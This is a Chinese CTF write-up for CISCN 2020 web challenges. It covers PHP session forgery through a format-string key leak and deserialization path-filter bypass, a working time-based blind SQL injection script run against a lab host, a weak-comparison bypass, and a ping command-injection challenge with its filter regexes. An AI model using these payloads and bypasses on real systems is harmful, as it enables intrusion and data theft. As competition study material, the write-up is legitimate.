这道题和2019DDCTF的Web签到题,所涉及的点都一样,通过返回包看到2020Ciscn字段为Guest
修改为admin,得到代码,后续进行代码审计,关键点在下面,刚开始走了弯路,想通过构造直接满足俩个条件去获得Hint,后来尝试了很长时间,都失败了,想到了单步的绕过先获得Hint,得到Key在进行session
伪造
# 两段代码
<?php
#MySession.php
include 'App.php';
class MySession extends App
{
var $secret = '';
var $cookie_name = 'ciscn_cookie';
public function run()
{
if (parent::checkin()) {
$this->secret = file_get_contents('../config/keey.txt'); //关键点Keey.txt
if (!$this->get_session()) {
$this->session_create();
}
}
}
public function get_session()
{
if (empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if (!isset($session)) {
print("don't see any cookie ");
return FALSE;
}
# 满足这个条件:
$hash = substr($session, strlen($session) - 32); # 截取$session 后32
$session = substr($session, 0, strlen($session) - 32); # 截取$session 剩下部分
# 比较相等
if ($hash !== md5($this->secret . $session)) {
print("hacker");
return FALSE;
}
# 进行反序列化操作
$session = unserialize($session);
# 因为传入参数会经过Foreach循环,我们通过赋值Hint为%s,将Hint外带除来,先不要考虑序列化操作过程
if (!empty($_POST["hint"])) {
$arr = array($_POST["hint"], $this->secret);
$data = "the hint is %s ";
foreach ($arr as $k => $v) {
$data = sprintf($data, $v);
}
print($data);
}
return TRUE;
}
private function session_create()
{
$sessionid = '';
while (strlen($sessionid) < 32) {
$sessionid .= mt_rand(0, mt_getrandmax());
}
$userdata = array('hash' => md5(uniqid($sessionid, TRUE)), 'user_data' => '');
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata . md5($this->secret . $cookiedata);
$expire = 7200 + time();
setcookie($this->cookie_name, $cookiedata, $expire, '/', '', False);
}
}
$user = new MySession();
$user->run();
<?php
#Application.php
Class App {
var $path = '';
public function checkin() {
$CISCN_ADMIN = 'admin';
$headers=apache_request_headers();
if(!empty($headers['Ciscn2020']) && $headers['Ciscn2020'] == $CISCN_ADMIN) {
print('You are admin!!! now try to visit fasBgAJHghjVvHJHJSGJHA.php ');
return TRUE;
}else{
print('Sorry,you are not admin ');
exit();
}
}
# 魔术方法,过滤基本的目录遍历手段,尝试其他方式绕过
public function __wakeup() {
$this->path = trim($this->path);
$this->path=str_replace('../','',$this->path);
$this->path=str_replace('..\\','',$this->path);
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
if(strlen($this->path) !== 18) {
exit();
}
print(file_get_contents($this->path));
}
exit();
}
}
先传入字段,获得Cookies,再通过Post传入%s,通过foreach赋值,得到Hint
得到Keey的内容,后续按照条件构造序列化数据就可以了,但是需要绕过__wakeup
内的条件,用..././
代替即可
打开题目看到Order关键字,又发现输入内容后,结果猜测为Order by 排列结果,猜测后端SQL语句写法为:
SELECT * FROM USERS ORDER BY ID {输入}
到修复环境发现我猜对了,就是因为自己懒惰了一下,只尝试了布尔,延时因为基地大傻逼网络,也没有尝试...
构造Order by 条件,因为Order by 后面只能通过IF等条件语句来控制,所以做常用的就是布尔类型,因为排列方式的不同,从而形成布尔,这道题考察了延时的条件,同样的道理。基本Fuzz之后,发现过滤为下:
写脚本,注入得到提示新PHP页面,脚本代码如下:
#!/usr/bin/ python
#-*- coding:utf-8 -*-
"""
-------------------------------------------------
Author: loecho
Datetime: 2020/9/15 10:42
ProjectN: web3.py
Blog: https://loecho.me
Email: [email protected]
-------------------------------------------------
"""
import requests
import time
url = "http://192.168.111.1:80/Day1-Web3/index.php"
headers = {
"Origin": "http://192.168.111.1",
"Cookie": "PHPSESSID=m3f3bkph249nn1mmovit65e0i0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.51",
"Referer": "http://192.168.111.1/Day1-Web3/index.php",
"Connection": "close",
"Host": "192.168.111.1",
"DNT": "1",
"Accept-Encoding": "gzip, deflate",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Content-Length": "51",
"Content-Type": "application/x-www-form-urlencoded"}
Database=''
for l in range(1, 50):
payload = "order=%26%26/**/if(length(database())={},benchmark(10000000,sha(1)),0)".format(l)
#payload = "order=%26%26if(length(user())={},benchmark(10000000,sha(1)),0)".format(l)
try:
response = requests.request("POST", url, data=payload, headers=headers, timeout=5)
except:
print("[+] Database-Length:"+str(l))
break
for j in range(1, l+1):
for i in range(32, 126):
payload = "order=%26%26/**/if(ascii(mid(database(),{},1))={},benchmark(10000000,sha(1)),0)".format(j, i)
#payload = "order=%26%26if(ascii(mid(user(),{},1))={},benchmark(10000000,sha(1)),0)".format(j, i)
try:
one = time.time()
response = requests.request("POST", url, data=payload, headers=headers)
two = time.time()
if two - one > 5:
Database += chr(i)
print("[+] DataBase:" + Database)
except: pass
后续得到php代码,绕过那个弱比较就可以:
<?php
error_reporting(1);
highlight_file("df8f.php");
if ($_GET["shy1"] != hash("md4", $_GET["shy1"]))
{
echo "<br>";
die('Theshy is locked');
}
if (isset($_GET['shy2'])) {
$message = json_decode($_GET['shy2']);
$password ="*********";
if ($message->password == $password) {
$s = $_SERVER['QUERY_STRING'];
if( substr_count($s, '_') !== 0 || substr_count($s, '%5f') != 0 ){
exit('hahahahahaha!');
}
if($_GET['s_h_y_3'] !== '857857' && preg_match('/^857857$/', $_GET['s_h_y_3'])){
system("cat /flag.txt");
}
}
else {
echo "NONONO";
}
}
else{
echo "GOGOGO";
}
?>
套娃题目,俩到老题套在一起,去年CISCN比赛,线上的PHP反序列化,还有经典的命令执行
https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2019%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B
https://blog.csdn.net/qq_43431158/article/details/105422347
<?php
#
function checker($str, $find){
$needle=$find;
$tmparray = expload($needle,$str);
if (count($tmparray)>1){
return true;
} else {
return false;
}
}
if(isset($_GET['ip']))
{
$ip = $_GET['ip'];
#输入判断
if (checker($ip,"." && !checker($ip, "|") && !checker($ip, "&") && !checker($ip, " "))){
if (stristr(php_uname('s'),'Linux')) {
shell_exec("ping -c 1 ".$ip);
}else{
shell_exec("ping -c 1 ".$ip);
}
}
// if(preg_match("/\&|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
// echo preg_match("/\&|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
// die("fxck your symbol!");
// } else if(preg_match("/ /", $ip)){
// die("fxck your space!");
// } else if(preg_match("/bash/", $ip)){
// die("fxck your bash!");
// } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
// die("fxck your flag!");
// }